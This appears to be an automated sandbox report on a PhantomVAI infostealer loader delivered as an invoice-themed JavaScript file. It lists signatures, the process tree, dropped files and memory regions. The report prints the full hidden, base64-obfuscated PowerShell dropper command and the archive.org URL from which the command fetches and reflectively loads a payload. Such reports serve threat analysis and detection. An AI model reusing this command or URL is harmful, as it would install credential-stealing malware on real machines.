Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251016-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2025, 13:59

General

  • Target
    PI #65277_SOA 2025-11-11.js
  • Size 2.3MB
  • Sample251111-ragssser9x
  • SHA256 b23dfe9a7e06ce12801e404603c920aed3c6ec21cd4745bef16f16da055f7eb7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://archive.org/download/msi-pro-with-b-64_20251021_1736/MSI_PRO_with_b64.png

Signatures

  • Detects PhantomVAI loader aka VMDetectLoader, CaminhoLoader 1 IoCs
  • PhantomVAI, VMDetectLoader, CaminhoLoader

    PhantomVAI, aka VMDetectLoader, CaminhoLoader, is a loader delivering a wide variety of infostealers.

  • Phantomvai family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\PI #65277_SOA 2025-11-11.js"
    1⤵
      PID:4380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdOjpUbHMxMjsgJGRlbmRyb3Ryb3BoZSA9IE5ldy1PYmplY3QgTmV0LldlYkNsaWVudDsgJGRlbmRyb3Ryb3BoZS5FbmNvZGluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ICRkYXBwZXJzID0gJGRlbmRyb3Ryb3BoZS5Eb3dubG9hZFN0cmluZygnaHR0cDovL2FyY2hpdmUub3JnL2Rvd25sb2FkL21zaS1wcm8td2l0aC1iLTY0XzIwMjUxMDIxXzE3MzYvTVNJX1BST193aXRoX2I2NC5wbmcnKTsgJGJvYXJkYWJsZSA9ICgkZGFwcGVycyAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJyk7ICRwcmVoeXBvcGh5c2lzID0gJG1hdGNoZXNbMV07ICRnb3JibGltZXkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRwcmVoeXBvcGh5c2lzKSk7ICR1bmludGVsbGlnZW50bHkgPSAnPVFIZTA1U1pzbG1Sa1ZHZHlWbWR1OTJRdjAyYmo1eU1sTlhhM1YyY3Y5R2FqOXlMNk1IYzBSSGEnOyAkZ3V0dGVyeSA9ICRnb3JibGltZXkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7ICRwdWxzaWxvZ3kgPSAkZ3V0dGVyeS5HZXRNZXRob2QoJ1ZBSScpOyAkcHVsc2lsb2d5Lkludm9rZSgkYm9hcmRhYmxlLCBbb2JqZWN0W11dQCgkdW5pbnRlbGxpZ2VudGx5LCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ01TQnVpbGQnLCcnLCdNU0J1aWxkJywnJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcnLCdUYXNrX05hbWUnLCcwJywnJywnJywnJykpOw=='))| Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5004
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        2⤵
          PID:2752
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          2⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:3024
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1"
            3⤵
            • Enumerates system info in registry
            PID:5104
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb6c29dcf8,0x7ffb6c29dd04,0x7ffb6c29dd10
              4⤵
                PID:2308
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1844,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=1800 /prefetch:2
                4⤵
                  PID:1952
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --field-trial-handle=1984,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:3
                  4⤵
                    PID:2016
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --field-trial-handle=2136,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:8
                    4⤵
                      PID:2096
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --field-trial-handle=2856,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:1
                      4⤵
                        PID:1932
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --field-trial-handle=2816,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
                        4⤵
                          PID:776
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --field-trial-handle=3176,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
                          4⤵
                            PID:4660
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --field-trial-handle=3212,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:2
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1964
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --field-trial-handle=3260,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
                            4⤵
                              PID:1728
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --field-trial-handle=3280,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:2
                              4⤵
                                PID:436
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --field-trial-handle=3756,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:1
                                4⤵
                                  PID:920
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1" --field-trial-handle=4148,i,1227037753683391541,11945912606832108210,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:8
                                  4⤵
                                    PID:4124
                            • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                              1⤵
                                PID:4428

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    __PSScriptPolicyTest_rnkenff5.nxs.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rnkenff5.nxs.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512

                                    data_0

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_0
                                    • Size 44KB
                                    • SHA256 0fdc630e5784f2e1599eb256459caefbd511ca78e4c461d1a313ac091df587ad
                                    • MD5 SHA1 SHA512 SSDEEP

                                    data_1

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_1
                                    • Size 264KB
                                    • SHA256 135324fc3b5e520b748346e4bc89fa4cfc9ea39102442f81fb39b8802591b4ca
                                    • MD5 SHA1 SHA512 SSDEEP

                                    data_2

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_2
                                    • Size 1.0MB
                                    • SHA256 9809ca6fcec6a6699a6ce82913198870e36798e30cb5d3504bf66b4dfb1fa5f7
                                    • MD5 SHA1 SHA512 SSDEEP

                                    data_3

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\data_3
                                    • Size 4.0MB
                                    • SHA256 e503904f1692a444bdd5a5b981710746660ba4b4a6c4a0bd14c1a212eba88bca
                                    • MD5 SHA1 SHA512 SSDEEP

                                    f_000001

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\f_000001
                                    • Size 35KB
                                    • SHA256 d049ae6b458fd08732c4572620f03833d1851bf4f2ed52b38c449a633b8e155a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    f_000002

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\f_000002
                                    • Size 68KB
                                    • SHA256 9b2867adfa841f69e46d6c25cea1f6d590c9fbabfa4b499403985ec8d2b9e4a5
                                    • MD5 SHA1 SHA512 SSDEEP

                                    f_000003

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\f_000003
                                    • Size 38KB
                                    • SHA256 f9ad4fa1adfc18c4dd4b6e8b0aec3991749370ace523aa00e094d9eadaba6dcf
                                    • MD5 SHA1 SHA512 SSDEEP

                                    index

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Cache\Cache_Data\index
                                    • Size 256KB
                                    • SHA256 6e2629f9367f7769cf971d51b6674cb491b6108b43e7210fa9654375d9843669
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Cookies

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Network\Cookies
                                    • Size 20KB
                                    • SHA256 72d049174f8bb874a5db67735ce76cab400f25a72391ec557ef2720785b4c4ac
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Reporting and NEL

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Network\Reporting and NEL
                                    • Size 36KB
                                    • SHA256 951ea521116baf347ce89b628eabc22479fb8e3edfb7597659db2174fbb59804
                                    • MD5 SHA1 SHA512 SSDEEP

                                    SCT Auditing Pending Reports

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Network\SCT Auditing Pending Reports
                                    • Size 2B
                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                    • MD5 SHA1 SHA512

                                    Trust Tokens

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Network\Trust Tokens
                                    • Size 36KB
                                    • SHA256 19e1e0d60dc0a70455014fec98b5e4b73e93a80651600368745ab0d4a49c9529
                                    • MD5 SHA1 SHA512 SSDEEP

                                    index

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Shared Dictionary\cache\index
                                    • Size 24B
                                    • SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
                                    • MD5 SHA1 SHA512

                                    the-real-index

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Shared Dictionary\cache\index-dir\the-real-index
                                    • Size 48B
                                    • SHA256 cecc5eae7d5d00564d1caa7729efef4169296d40fb03756f34ce5d69178b7a7a
                                    • MD5 SHA1 SHA512

                                    db

                                    • Path C:\Users\Admin\AppData\Local\Temp\cwx4qje3.an1\Default\Shared Dictionary\db
                                    • Size 44KB
                                    • SHA256 f8e7cd835195e4eff7855d20676484ca75f7e7e4fe5b13164fc926b365e1dea0
                                    • MD5 SHA1 SHA512 SSDEEP

                                    memory/1964-54-0x00000131ECD90000-0x00000131ECF7E000-memory.dmp

                                    memory/3024-24-0x0000000006CF0000-0x0000000006D40000-memory.dmp

                                    memory/3024-18-0x0000000005970000-0x0000000005F88000-memory.dmp

                                    memory/3024-23-0x0000000006C80000-0x0000000006C92000-memory.dmp

                                    memory/3024-22-0x0000000006D40000-0x00000000072E4000-memory.dmp

                                    memory/3024-21-0x00000000062F0000-0x0000000006356000-memory.dmp

                                    memory/3024-20-0x0000000006090000-0x000000000627E000-memory.dmp

                                    memory/3024-19-0x0000000005450000-0x00000000054E2000-memory.dmp

                                    memory/3024-12-0x0000000000400000-0x0000000000492000-memory.dmp

                                    memory/3024-17-0x0000000005200000-0x0000000005348000-memory.dmp

                                    memory/5004-15-0x000001F080340000-0x000001F080E01000-memory.dmp

                                    memory/5004-16-0x00007FFB79AE0000-0x00007FFB79BAD000-memory.dmp

                                    memory/5004-1-0x00007FFB79AE0000-0x00007FFB79BAD000-memory.dmp

                                    memory/5004-11-0x000001F080FB0000-0x000001F080FBE000-memory.dmp

                                    memory/5004-10-0x000001F099740000-0x000001F099AAE000-memory.dmp

                                    memory/5004-9-0x000001F0FFCC0000-0x000001F0FFCE2000-memory.dmp

                                    memory/5004-0-0x00007FFB79AE0000-0x00007FFB79BAD000-memory.dmp